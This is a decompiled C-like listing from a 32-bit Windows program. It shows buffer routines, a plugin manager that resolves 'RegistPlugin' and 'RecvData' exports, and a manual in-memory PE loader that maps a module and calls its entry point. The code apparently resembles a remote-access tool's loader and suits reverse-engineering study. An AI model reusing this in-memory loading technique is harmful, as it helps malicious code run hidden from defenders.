- int32_t v18 = v12; // bp-40
- int32_t v19 = function_402ad6(v12, v17); // 0x402bb0
- int32_t v20 = g7; // 0x402c2b
- if (v19 != 0) {
- int32_t v21 = (int32_t)*(int16_t *)(v20 + 0xa1b4) | v19 & -0x10000; // 0x402c2b
- // branch -> 0x402c3b
- // 0x402c3b
- g5 = v18;
- g7 = v17;
- g3 = v2;
- *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v21;
- abort();
- // UNREACHABLE
- }
- // 0x402baa
- v13 = v17;
- v14 = g5;
- v15 = v20;
- // branch -> 0x402bb9
- // 0x402bb9
- v16 = v15 + 0xa0ac;
- if (!((v16 == v14 | *(int32_t *)(v15 + 0xa1b8) == v14))) {
- lab_0x402bd5:
- // 0x402bd5
- g4 = v15;
- int32_t v22 = function_4028fa(v16, *(int32_t *)(g2 + 8)); // 0x402bdb
- if (v22 != 0) {
- int32_t v23 = (int32_t)*(int16_t *)(g7 + 0xa1b8) | v22 & -0x10000; // 0x402c34
- // branch -> 0x402c3b
- // 0x402c3b
- g5 = v18;
- g7 = v13;
- g3 = v2;
- *(int16_t *)*(int32_t *)(g2 + 12) = (int16_t)v23;
- abort();
- // UNREACHABLE
- }
- }
- lab_0x402be4:
- // 0x402be4
- Sleep(1000);
- v8 = v13;
- // branch -> 0x402b7c
- continue;
- }
- // 0x402bb9
- v16 = v15 + 0xa0ac;
- if (v16 == v14 | *(int32_t *)(v15 + 0xa1b8) == v14) {
- goto lab_0x402be4;
- }
- goto lab_0x402bd5;
- }
- }
- // Address range: 0x402c52 - 0x402c6b
- int32_t function_402c52(void) {
- int32_t v1 = g35; // 0x402c52
- int32_t v2 = g36; // 0x402c57
- int32_t result = v1 - v2; // 0x402c5d
- if (v1 < v2) {
- // 0x402c64
- return result + 0x9d00;
- }
- // 0x402c61
- return result;
- }
- // Address range: 0x402c6c - 0x402cee
- int32_t function_402c6c(void) {
- int32_t v1 = g36; // 0x402c6c
- int32_t v2 = 1256; // esi
- int32_t v3 = 0x9d00 - v1; // 0x402c7f
- int32_t v4; // bp-16
- int32_t v5;
- int32_t v6; // 0x402ca8
- int32_t v7; // 0x402ce2
- if (v3 < 1256) {
- // 0x402ca8
- v6 = g3;
- memcpy((int32_t *)v5, (int32_t *)(v1 + 76 + g4), v3);
- int32_t v8 = g36; // 0x402cb9
- memcpy((int32_t *)(v5 - v8 + 0x9d00), (int32_t *)(g4 + 76), v8 - 0x9818);
- v4 = v2;
- v7 = function_402d78(&g36, v2);
- g3 = &g36;
- // branch -> 0x402cea
- } else {
- // 0x402c85
- memcpy((int32_t *)v5, (int32_t *)(v1 + 76 + g4), 1256);
- v4 = &g36;
- int32_t v9 = function_402d78(&g36, v2); // 0x402c9f
- v6 = v2;
- v7 = v9;
- // branch -> 0x402cea
- }
- // 0x402cea
- g5 = v4;
- g7 = v6;
- return v7 & -256 | 1;
- }
- // Address range: 0x402cef - 0x402d77
- int32_t function_402cef(void) {
- int32_t v1 = g35; // 0x402cf2
- int32_t v2 = 0x9d00 - v1; // 0x402cff
- int32_t v3; // bp-16
- int32_t v4;
- int32_t v5;
- int32_t v6; // 0x402d2c
- int32_t v7; // 0x402d6b
- if (v2 < v5) {
- // 0x402d2c
- v6 = g5;
- memcpy((int32_t *)(v1 + 76 + g4), (int32_t *)v4, v2);
- int32_t v8 = g35; // 0x402d3c
- int32_t v9 = v4 - v8 + 0x9d00; // 0x402d4d
- memcpy((int32_t *)(g4 + 76), (int32_t *)v9, v5 - 0x9d00 + v8);
- v3 = v5;
- v7 = function_402d78(&g35, v5);
- g5 = &g35;
- // branch -> 0x402d73
- } else {
- // 0x402d06
- memcpy((int32_t *)(v1 + 76 + g4), (int32_t *)v4, v5);
- v3 = &g35;
- int32_t v10 = function_402d78(&g35, v5); // 0x402d23
- v6 = v5;
- v7 = v10;
- // branch -> 0x402d73
- }
- // 0x402d73
- g7 = v3;
- g2 = v6;
- return v7 & -256 | 1;
- }
- // Address range: 0x402d78 - 0x402d94
- int32_t function_402d78(int32_t * a1, int32_t a2) {
- int32_t v1 = *a1 + a2; // 0x402d82
- int32_t result = v1 - 0x9d00; // 0x402d84
- if (v1 >= 0x9d00) {
- // 0x402d8b
- // branch -> 0x402d90
- } else {
- result = v1;
- }
- // 0x402d90
- *a1 = result;
- return result;
- }
- // Address range: 0x402d95 - 0x402db3
- int32_t function_402d95(void) {
- // 0x402d95
- g35 = 0;
- g36 = 0;
- return (int32_t)memset((int32_t *)(g4 + 76), 0, 0x9d00);
- }
- // Address range: 0x402db4 - 0x402dde
- int32_t function_402db4(void) {
- int32_t v1 = g4; // bp-4
- int32_t v2 = g7; // 0x402db5
- g7 = g4;
- int32_t v3 = *(int32_t *)(g4 + 4); // 0x402db8
- function_402ddf(&v1, *(int32_t *)v3, v3, v2, g4);
- int32_t result = __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(g7 + 4)); // 0x402dce
- *(int32_t *)(g7 + 4) = 0;
- *(int32_t *)(g7 + 8) = 0;
- g7 = &v1;
- return result;
- }
- // Address range: 0x402ddf - 0x402e16
- int32_t function_402ddf(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
- int32_t result = (int32_t)a1;
- int32_t v1 = g5; // bp-8
- if (a2 == a3) {
- // 0x402e0c
- *a1 = a2;
- return result;
- }
- int32_t * v2 = (int32_t *)a2; // 0x402def
- *(int32_t *)*(int32_t *)(a2 + 4) = *v2;
- int32_t v3 = a2; // 0x402df9
- *(int32_t *)(*(int32_t *)v3 + 4) = *(int32_t *)(v3 + 4);
- __3f__3f_3_40_YAXPAX_40_Z(a2);
- int32_t * v4 = (int32_t *)(g4 + 8); // 0x402e06
- *v4 = *v4 - 1;
- int32_t v5 = *v2; // 0x402de7
- // branch -> 0x402ded
- while (v5 != a3) {
- // 0x402ded
- a2 = v5;
- v2 = (int32_t *)a2;
- *(int32_t *)*(int32_t *)(a2 + 4) = *v2;
- v3 = a2;
- *(int32_t *)(*(int32_t *)v3 + 4) = *(int32_t *)(v3 + 4);
- __3f__3f_3_40_YAXPAX_40_Z(a2);
- v4 = (int32_t *)(g4 + 8);
- *v4 = *v4 - 1;
- v5 = *v2;
- // continue -> 0x402ded
- }
- // 0x402de7
- // branch -> 0x402e0c
- // 0x402e0c
- g5 = v1;
- *a1 = v5;
- return result;
- }
- // Address range: 0x402e17 - 0x402e3a
- int32_t function_402e17(int32_t a1, int32_t a2, int32_t a3) {
- int32_t result = __3f__3f_2_40_YAPAXI_40_Z(12); // 0x402e19
- int32_t v1 = a1; // 0x402e29
- if (a1 == 0) {
- // 0x402e27
- v1 = result;
- // branch -> 0x402e29
- }
- // 0x402e29
- *(int32_t *)result = v1;
- int32_t v2; // 0x402e35
- if (a2 == 0) {
- // 0x402e33
- v2 = result;
- // branch -> 0x402e35
- } else {
- v2 = a2;
- }
- // 0x402e35
- *(int32_t *)(result + 4) = v2;
- return result;
- }
- // Address range: 0x402e3b - 0x402e66
- int32_t function_402e3b(void) {
- int32_t v1 = 0; // bp-20
- int32_t v2 = g4 + 4; // esi
- int32_t v3 = function_402e17(v1, 0, g5); // 0x402e4f
- *(int32_t *)(v2 + 8) = 0;
- *(int32_t *)(v2 + 4) = v3;
- *(int32_t *)g4 = (int32_t)&g11;
- g5 = v1;
- g7 = 0;
- return g4;
- }
- // Address range: 0x402e67 - 0x402e82
- int32_t function_402e67(char a1) {
- int32_t v1 = g7; // 0x402e67
- g7 = g4;
- function_402e83(v1);
- if ((a1 & 1) != 0) {
- // 0x402e76
- __3f__3f_3_40_YAXPAX_40_Z(g7);
- // branch -> 0x402e7d
- }
- // 0x402e7d
- return g7;
- }
- // Address range: 0x402e83 - 0x402edc
- int32_t function_402e83(int32_t a1) {
- // 0x402e83
- function_404b60();
- int32_t v1 = g4; // 0x402e8d
- int32_t v2 = g7; // 0x402e8e
- g7 = v1;
- *(int32_t *)(g2 - 16) = v1;
- *(int32_t *)g7 = (int32_t)&g11;
- *(int32_t *)(g2 - 4) = 0;
- int32_t v3 = g7; // 0x402e9e
- if (*(int32_t *)(v3 + 12) == 0) {
- // 0x402ec4
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 4;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- int32_t v4 = *(int32_t *)(*(int32_t *)*(int32_t *)(v3 + 8) + 8); // 0x402ead
- __3f__3f_3_40_YAXPAX_40_Z(v4);
- g4 = v3 + 4;
- function_403a96();
- // branch -> 0x402ea8
- while (*(int32_t *)(g7 + 12) != 0) {
- // 0x402ea8
- __3f__3f_3_40_YAXPAX_40_Z(*(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 8) + 8));
- g4 = v3 + 4;
- function_403a96();
- // continue -> 0x402ea8
- }
- // 0x402ec3
- // branch -> 0x402ec4
- // 0x402ec4
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 4;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x402edd - 0x4030a0
- int32_t function_402edd(void) {
- // 0x402edd
- function_404b60();
- int32_t v1 = g4; // 0x402eeb
- g3 = v1;
- *(int32_t *)(g2 - 28) = v1;
- *(int32_t *)(g2 - 4) = 0;
- int32_t v2 = *(int32_t *)(g3 + 8); // 0x402ef9
- int32_t v3 = *(int32_t *)v2; // 0x402ef9
- int32_t v4 = v3; // esi
- int32_t v5; // bp-44
- char * v6; // bp-48
- int32_t v7; // bp-60
- char * n; // bp-84
- char * v8; // bp-88
- char * v9; // bp-92
- char * v10;
- int32_t * v11;
- int32_t v12; // 0x402f24
- int32_t v13; // 0x402f55
- int32_t v14; // 0x402fc2
- int32_t v15; // 0x402ffa
- int32_t v16; // 0x403039
- int32_t v17; // 0x402f44
- int32_t v18; // 0x403039
- int32_t v19; // 0x40303f
- int32_t v20; // 0x402f42
- int32_t v21; // 0x402fec
- int32_t * v22; // 0x403039
- int32_t v23; // 0x402f7c
- int32_t str2; // 0x403024
- int32_t v24; // 0x403039
- int32_t v25; // 0x402f92
- int32_t v26; // 0x402fa0
- int32_t v27; // 0x402fad
- int32_t v28; // 0x402fba
- int32_t v29; // 0x40304e
- char * str; // 0x403030
- if (v3 == v2) {
- // 0x402f24
- v12 = g2;
- *(int32_t *)(v12 - 24) = (int32_t)&v7;
- v7 = (int32_t)*(char *)(v12 + 8) | v2 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- v20 = *(int32_t *)*(int32_t *)0x4060b4;
- v17 = g2 + 8;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v17, 0, v20);
- g4 = &g52;
- v13 = function_403a36();
- if (v13 == 0) {
- // 0x402f24
- // branch -> 0x40307f
- // 0x40307f
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- // 0x403090
- g5 = (int32_t)v6;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // 0x402f62
- if (*(int32_t *)(v13 + 16) == *(int32_t *)(v13 + 20)) {
- // 0x402f79
- v23 = function_403220((int32_t *)*(int32_t *)(v13 + 24));
- v10 = (char *)v23;
- g7 = v23;
- if (v23 != 0) {
- // 0x402f8c
- *(int32_t *)&n = v23;
- v25 = function_40361e((int32_t *)v23, (int32_t)"RegistPlugin");
- v8 = "PluginName";
- *(int32_t *)&v9 = v23;
- *(int32_t *)(g2 - 20) = v25;
- v26 = function_40361e((int32_t *)v9, (int32_t)v8);
- g5 = v26;
- v11 = (int32_t *)*(int32_t *)&v10;
- v27 = function_40361e(v11, (int32_t)"RecvData");
- g3 = v27;
- v28 = function_40361e(v11, (int32_t)"Version");
- v14 = g2;
- *(int32_t *)(v14 - 24) = v28;
- if (*(int32_t *)(v14 - 20) != 0) {
- // 0x402fcf
- if (v26 != 0) {
- // 0x402fd7
- if (v27 != 0) {
- // 0x402fdf
- if (v28 != 0) {
- // 0x402fe7
- v21 = __3f__3f_2_40_YAPAXI_40_Z(540);
- *(int32_t *)(g2 - 16) = v21;
- *(int32_t *)(v21 + 532) = (int32_t)v10;
- v15 = g2;
- g7 = 0x401a8b;
- *(int32_t *)(*(int32_t *)(v15 - 16) + 516) = 0x401a8b;
- *(int32_t *)(*(int32_t *)(g2 - 16) + 528) = v26;
- *(int32_t *)(*(int32_t *)(g2 - 16) + 520) = v27;
- str2 = *(int32_t *)(g2 - 16);
- *(int32_t *)(str2 + 524) = *(int32_t *)(v15 - 24);
- n = (char *)0x40302f;
- __pseudo_call(v26);
- str = (char *)*(int32_t *)(g2 - 16);
- v9 = str;
- strncpy(str, (char *)str2, (int32_t)n);
- v16 = g2;
- v18 = v16 - 28;
- v22 = (int32_t *)v18;
- v24 = *v22;
- v19 = v16 - 16;
- g4 = v24 + 4;
- n = (char *)v19;
- v9 = (char *)v18;
- v29 = function_403ab9(v22, *(int32_t *)(v24 + 8), v19);
- __pseudo_call(v26);
- __pseudo_call(*(int32_t *)(g2 - 20));
- *(int32_t *)(*(int32_t *)(g2 - 16) + 536) = v29;
- // branch -> 0x40306c
- // 0x40306c
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- // 0x403090
- g5 = (int32_t)(char *)1;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- }
- }
- }
- }
- // 0x40307f
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- } else {
- // 0x402f6a
- // branch -> 0x40306c
- // 0x40306c
- *(int32_t *)(g2 - 4) = -1;
- v6 = (char *)1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- }
- // 0x403090
- g5 = (int32_t)v6;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // branch -> 0x402eff
- int32_t v30; // 0x402f13
- while (true) {
- int32_t v31 = *(int32_t *)(v3 + 8); // 0x402eff
- char * str3 = (char *)v31; // 0x402f02
- v6 = str3;
- int32_t len = strlen(str3); // 0x402f03
- int32_t v32 = *(int32_t *)(g2 + 16); // 0x402f0b
- v5 = 0;
- v30 = _3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(0, v32, v31, len);
- if (v30 == 0) {
- // 0x402f71
- // branch -> 0x40306c
- // 0x40306c
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- // 0x403090
- g5 = (int32_t)(char *)1;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- int32_t v33 = *(int32_t *)v4; // 0x402f1d
- v4 = v33;
- if (v33 == *(int32_t *)(g3 + 8)) {
- // break -> 0x402f24
- break;
- }
- v3 = v33;
- // continue -> 0x402eff
- }
- // 0x402f24
- v12 = g2;
- *(int32_t *)(v12 - 24) = (int32_t)&v7;
- v7 = (int32_t)*(char *)(v12 + 8) | v30 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- v20 = *(int32_t *)*(int32_t *)0x4060b4;
- v17 = g2 + 8;
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v17, 0, v20);
- g4 = &g52;
- v13 = function_403a36();
- if (v13 == 0) {
- // 0x402f24
- // branch -> 0x40307f
- // 0x40307f
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- // 0x403090
- g5 = (int32_t)v6;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // 0x402f62
- if (*(int32_t *)(v13 + 16) == *(int32_t *)(v13 + 20)) {
- // 0x402f79
- v23 = function_403220((int32_t *)*(int32_t *)(v13 + 24));
- v10 = (char *)v23;
- g7 = v23;
- if (v23 != 0) {
- // 0x402f8c
- n = NULL;
- *(int32_t *)&n = v23;
- v25 = function_40361e((int32_t *)v23, (int32_t)"RegistPlugin");
- v8 = "PluginName";
- v9 = NULL;
- *(int32_t *)&v9 = v23;
- *(int32_t *)(g2 - 20) = v25;
- v26 = function_40361e((int32_t *)v9, (int32_t)v8);
- g5 = v26;
- v11 = (int32_t *)*(int32_t *)&v10;
- v27 = function_40361e(v11, (int32_t)"RecvData");
- g3 = v27;
- v28 = function_40361e(v11, (int32_t)"Version");
- v14 = g2;
- *(int32_t *)(v14 - 24) = v28;
- if (*(int32_t *)(v14 - 20) != 0) {
- // 0x402fcf
- if (v26 != 0) {
- // 0x402fd7
- if (v27 != 0) {
- // 0x402fdf
- if (v28 != 0) {
- // 0x402fe7
- v21 = __3f__3f_2_40_YAPAXI_40_Z(540);
- *(int32_t *)(g2 - 16) = v21;
- *(int32_t *)(v21 + 532) = (int32_t)v10;
- v15 = g2;
- g7 = 0x401a8b;
- *(int32_t *)(*(int32_t *)(v15 - 16) + 516) = 0x401a8b;
- *(int32_t *)(*(int32_t *)(g2 - 16) + 528) = v26;
- *(int32_t *)(*(int32_t *)(g2 - 16) + 520) = v27;
- str2 = *(int32_t *)(g2 - 16);
- *(int32_t *)(str2 + 524) = *(int32_t *)(v15 - 24);
- n = (char *)0x40302f;
- __pseudo_call(v26);
- str = (char *)*(int32_t *)(g2 - 16);
- v9 = str;
- strncpy(str, (char *)str2, (int32_t)n);
- v16 = g2;
- v18 = v16 - 28;
- v22 = (int32_t *)v18;
- v24 = *v22;
- v19 = v16 - 16;
- g4 = v24 + 4;
- n = (char *)v19;
- v9 = (char *)v18;
- v29 = function_403ab9(v22, *(int32_t *)(v24 + 8), v19);
- __pseudo_call(v26);
- __pseudo_call(*(int32_t *)(g2 - 20));
- *(int32_t *)(*(int32_t *)(g2 - 16) + 536) = v29;
- // branch -> 0x40306c
- // 0x40306c
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- // 0x403090
- g5 = (int32_t)(char *)1;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- }
- }
- }
- }
- // 0x40307f
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- } else {
- // 0x402f6a
- // branch -> 0x40306c
- // 0x40306c
- *(int32_t *)(g2 - 4) = -1;
- v6 = (char *)1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x403090
- }
- // 0x403090
- g5 = (int32_t)v6;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4030a1 - 0x4030cc
- int32_t function_4030a1(void) {
- int32_t v1 = 0; // bp-20
- int32_t v2 = g4 + 4; // esi
- int32_t v3 = function_402e17(v1, 0, g5); // 0x4030b5
- *(int32_t *)(v2 + 8) = 0;
- *(int32_t *)(v2 + 4) = v3;
- *(int32_t *)g4 = (int32_t)&g12;
- g5 = v1;
- g7 = 0;
- return g4;
- }
- // Address range: 0x4030cd - 0x4030e8
- int32_t function_4030cd(char a1) {
- int32_t v1 = g7; // 0x4030cd
- g7 = g4;
- function_4030e9(v1);
- if ((a1 & 1) != 0) {
- // 0x4030dc
- __3f__3f_3_40_YAXPAX_40_Z(g7);
- // branch -> 0x4030e3
- }
- // 0x4030e3
- return g7;
- }
- // Address range: 0x4030e9 - 0x403151
- int32_t function_4030e9(int32_t a1) {
- // 0x4030e9
- function_404b60();
- int32_t v1 = g4; // 0x4030f3
- int32_t v2 = g7; // 0x4030f4
- g7 = v1;
- *(int32_t *)(g2 - 16) = v1;
- *(int32_t *)g7 = (int32_t)&g12;
- *(int32_t *)(g2 - 4) = 0;
- int32_t v3 = g7; // 0x403104
- if (*(int32_t *)(v3 + 12) == 0) {
- // 0x403139
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 4;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- int32_t v4 = g5; // bp-16
- int32_t v5 = v3; // 0x40310f
- // branch -> 0x40310f
- while (true) {
- int32_t v6 = *(int32_t *)(*(int32_t *)*(int32_t *)(v5 + 8) + 8); // 0x403114
- g5 = v6;
- if (v6 != 0) {
- // 0x40311b
- g4 = v6 + 72;
- function_402e83(v4);
- __3f__3f_3_40_YAXPAX_40_Z(v6);
- // branch -> 0x40312a
- }
- // 0x40312a
- g4 = v3 + 4;
- function_403a96();
- int32_t v7 = g7; // 0x403131
- if (*(int32_t *)(v7 + 12) == 0) {
- // break -> 0x403137
- break;
- }
- v5 = v7;
- // continue -> 0x40310f
- }
- // 0x403137
- g5 = v4;
- // branch -> 0x403139
- // 0x403139
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 4;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x403152 - 0x4031bb
- int32_t function_403152(void) {
- // 0x403152
- function_404b60();
- int32_t v1 = g7; // 0x40315d
- int32_t v2 = g5; // 0x40315e
- *(int32_t *)(g2 - 4) = 0;
- int32_t v3 = *(int32_t *)(g4 + 8); // 0x403168
- int32_t v4 = *(int32_t *)v3; // 0x403168
- int32_t v5 = v4; // esi
- if (v4 == v3) {
- // 0x403193
- // branch -> 0x403195
- } else {
- // branch -> 0x40316e
- while (true) {
- int32_t str = *(int32_t *)(v4 + 8); // 0x40316e
- int32_t len = strlen((char *)str); // 0x403172
- int32_t v6 = *(int32_t *)(g2 + 16); // 0x40317a
- if (_3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHIIPBDI_40_Z(0, v6, str, len) == 0) {
- // 0x4031b7
- // branch -> 0x403195
- // 0x403195
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g5 = 1;
- g7 = v2;
- g3 = v1;
- abort();
- // UNREACHABLE
- }
- int32_t v7 = *(int32_t *)v5; // 0x40318c
- v5 = v7;
- if (v7 == *(int32_t *)(g4 + 8)) {
- // break -> 0x403193
- break;
- }
- v4 = v7;
- // continue -> 0x40316e
- }
- // 0x403193
- // branch -> 0x403195
- }
- // 0x403195
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g5 = 1;
- g7 = v2;
- g3 = v1;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4031bc - 0x40321f
- int32_t function_4031bc(void) {
- // 0x4031bc
- int32_t str;
- int32_t v1 = str;
- int32_t v2 = g4; // 0x4031bf
- int32_t v3 = v2; // bp-8
- int32_t v4 = &v3; // 0x4031bf
- g5 = str;
- int32_t v5;
- int32_t v6;
- int32_t v7;
- if (str == 0) {
- // 0x403217
- // branch -> 0x403219
- // 0x403219
- g5 = v6;
- g7 = v7;
- g3 = v5;
- int32_t v8;
- return v8 & -256;
- }
- // 0x4031cc
- int32_t v9; // bp-36
- int32_t v10 = &v9; // 0x4031cf
- g7 = v10;
- v3 = v10;
- unsigned char v11;
- v9 = g1 & -256 | (int32_t)v11;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(str, strlen((char *)str));
- g4 = v2;
- int32_t v12 = function_403152(); // 0x4031f6
- if (v12 != 0) {
- // 0x403217
- // branch -> 0x403219
- // 0x403219
- g5 = v6;
- g7 = v7;
- g3 = v5;
- return v12 & -256;
- }
- int32_t v13 = *(int32_t *)(g3 + 8); // 0x4031ff
- g4 = g3 + 4;
- int32_t v14 = &v1; // 0x403205
- int32_t result = function_403ab9(&v3, v13, v14) & -256 | 1; // 0x403213
- // branch -> 0x403219
- // 0x403219
- g5 = v4;
- g7 = v13;
- g3 = v14;
- return result;
- }
- // Address range: 0x403220 - 0x40333c
- int32_t function_403220(int32_t * a1) {
- int32_t v1 = (int32_t)a1;
- int32_t v2 = g3; // 0x403228
- int32_t v3 = g5; // 0x40322a
- if (*(int16_t *)a1 != 0x5a4d) {
- // 0x40332f
- // branch -> 0x403338
- // 0x403338
- g5 = v3;
- g3 = v2;
- return 0;
- }
- int32_t * v4 = (int32_t *)(v1 + 60); // 0x403236
- int32_t v5 = *v4 + v1; // 0x403239
- g7 = v5;
- if (*(int32_t *)v5 != 0x4550) {
- // 0x40332f
- // branch -> 0x403338
- // 0x403338
- g5 = v3;
- g3 = v2;
- return 0;
- }
- int32_t lpAddress = *(int32_t *)(v5 + 52); // 0x403258
- int32_t * memory = VirtualAlloc((int32_t *)lpAddress, *(int32_t *)(v5 + 80), 0x2000, 4); // 0x40325b
- int32_t lpAddress2 = (int32_t)memory;
- if (memory == NULL) {
- int32_t * memory2 = VirtualAlloc(memory, *(int32_t *)(g7 + 80), 0x2000, 4); // 0x40326b
- if (memory2 == NULL) {
- // 0x40332f
- // branch -> 0x403338
- // 0x403338
- g5 = v3;
- g3 = v2;
- return 0;
- }
- lpAddress2 = (int32_t)memory2;
- }
- int32_t * hHeap = GetProcessHeap(); // 0x40327c
- int32_t v6 = (int32_t)HeapAlloc(hHeap, 0, 20); // 0x403283
- g5 = v6;
- int32_t v7 = 0; // ecx
- *(int32_t *)(v6 + 4) = lpAddress2;
- *(int32_t *)(g5 + 12) = v7;
- *(int32_t *)(g5 + 8) = v7;
- *(int32_t *)(g5 + 16) = v7;
- VirtualAlloc((int32_t *)lpAddress2, *(int32_t *)(g7 + 80), 0x1000, 4);
- int32_t * memory3 = VirtualAlloc((int32_t *)lpAddress2, *(int32_t *)(g7 + 84), 0x1000, 4); // 0x4032b6
- g3 = v1;
- memcpy(memory3, a1, *(int32_t *)(g7 + 84) + *v4);
- int32_t v8 = *(int32_t *)(g3 + 60) + (int32_t)memory3; // 0x4032d2
- int32_t v9 = g5; // 0x4032d7
- *(int32_t *)v9 = v8;
- *(int32_t *)(v8 + 52) = lpAddress2;
- function_40333d((int32_t *)g3, g7, v9);
- g3 = lpAddress2;
- int32_t v10 = lpAddress2 - *(int32_t *)(g7 + 52); // 0x4032ec
- if (v10 != 0) {
- // 0x4032f1
- function_4034a7((int32_t *)g5, v10);
- g4 = v10;
- // branch -> 0x4032fa
- }
- int32_t v11 = g5; // 0x4032fa
- int32_t v12 = function_403521((int32_t *)v11); // 0x4032fb
- g4 = v11;
- int32_t v13 = g5;
- int32_t result;
- if (v12 == 0) {
- // 0x403328
- function_4036a9((int32_t *)v13);
- // branch -> 0x40332f
- // 0x40332f
- result = 0;
- // branch -> 0x403338
- } else {
- // 0x403305
- function_4033ea((int32_t *)v13);
- int32_t v14 = *(int32_t *)(*(int32_t *)g5 + 40); // 0x40330e
- if (v14 != 0) {
- int32_t v15 = g3 + v14; // 0x403315
- if (v15 == 0) {
- // 0x403328
- function_4036a9((int32_t *)g5);
- // branch -> 0x40332f
- // 0x40332f
- result = 0;
- // branch -> 0x403338
- } else {
- // 0x40331b
- __pseudo_call(v15);
- *(int32_t *)(g5 + 16) = 1;
- result = g5;
- // branch -> 0x403338
- }
- // 0x403338
- g5 = v3;
- g3 = v2;
- return result;
- }
- result = g5;
- }
- // 0x403338
- g5 = v3;
- g3 = v2;
- return result;
- }
- // Address range: 0x40333d - 0x4033e9
- int32_t function_40333d(int32_t * a1, int32_t a2, int32_t a3) {
- int32_t v1 = g2; // bp-4
- int32_t v2 = g7; // bp-20
- int32_t v3 = *(int32_t *)(a3 + 4); // 0x40334b
- int32_t * v4 = (int32_t *)a3; // 0x40334e
- int32_t result = *v4; // 0x40334e
- int32_t v5 = (int32_t)*(int16_t *)(result + 20); // 0x403353
- g4 = v5;
